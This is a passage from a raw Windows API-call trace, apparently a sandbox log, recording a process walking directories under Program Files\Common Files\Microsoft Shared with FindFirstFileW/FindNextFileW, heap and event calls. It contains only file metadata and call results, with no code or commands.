ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x36d0338 [0165.462] FindNextFileW (in: hFindFile=0x36d0338, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.462] FindNextFileW (in: hFindFile=0x36d0338, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0165.462] SetEvent (hEvent=0x178) returned 1 [0165.462] ResetEvent (hEvent=0x17c) returned 1 [0165.462] FindNextFileW (in: hFindFile=0x36d0338, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0165.462] FindNextFileW (in: hFindFile=0x36d0338, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0165.462] FindNextFileW (in: hFindFile=0x36d0338, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0165.462] FindClose (in: hFindFile=0x36d0338 | out: hFindFile=0x36d0338) returned 1 [0165.462] GetProcessHeap () returned 0x6a0000 [0165.462] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.462] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0165.463] GetProcessHeap () returned 0x6a0000 [0165.463] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.463] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.464] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0165.464] GetProcessHeap () returned 0x6a0000 [0165.464] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0165.467] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.467] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0165.467] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0165.467] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0165.468] GetProcessHeap () returned 0x6a0000 [0165.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0165.468] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.469] GetProcessHeap () returned 0x6a0000 [0165.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.469] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0165.469] GetProcessHeap () returned 0x6a0000 [0165.469] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.484] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.484] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0165.484] SetEvent (hEvent=0x178) returned 1 [0165.485] ResetEvent (hEvent=0x17c) returned 1 [0165.486] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0165.486] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.486] GetProcessHeap () returned 0x6a0000 [0165.487] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.487] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0165.487] GetProcessHeap () returned 0x6a0000 [0165.487] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.488] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.488] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0165.488] SetEvent (hEvent=0x178) returned 1 [0165.488] ResetEvent (hEvent=0x17c) returned 1 [0165.491] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0165.491] SetEvent (hEvent=0x178) returned 1 [0165.491] ResetEvent (hEvent=0x17c) returned 1 [0165.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0165.494] SetEvent (hEvent=0x178) returned 1 [0165.494] ResetEvent (hEvent=0x17c) returned 1 [0165.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0165.495] SetEvent (hEvent=0x178) returned 1 [0165.496] ResetEvent (hEvent=0x17c) returned 1 [0165.498] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0165.498] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.499] GetProcessHeap () returned 0x6a0000 [0165.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0165.499] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0165.499] GetProcessHeap () returned 0x6a0000 [0165.499] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0165.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0165.502] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.502] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0165.502] SetEvent (hEvent=0x178) returned 1 [0165.502] ResetEvent (hEvent=0x17c) returned 1 [0165.504] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0165.504] SetEvent (hEvent=0x178) returned 1 [0165.504] ResetEvent (hEvent=0x17c) returned 1 [0165.513] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0165.513] SetEvent (hEvent=0x178) returned 1 [0165.513] ResetEvent (hEvent=0x17c) returned 1 [0165.515] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0165.515] SetEvent (hEvent=0x178) returned 1 [0165.516] ResetEvent (hEvent=0x17c) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0165.517] SetEvent (hEvent=0x178) returned 1 [0165.517] ResetEvent (hEvent=0x17c) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, 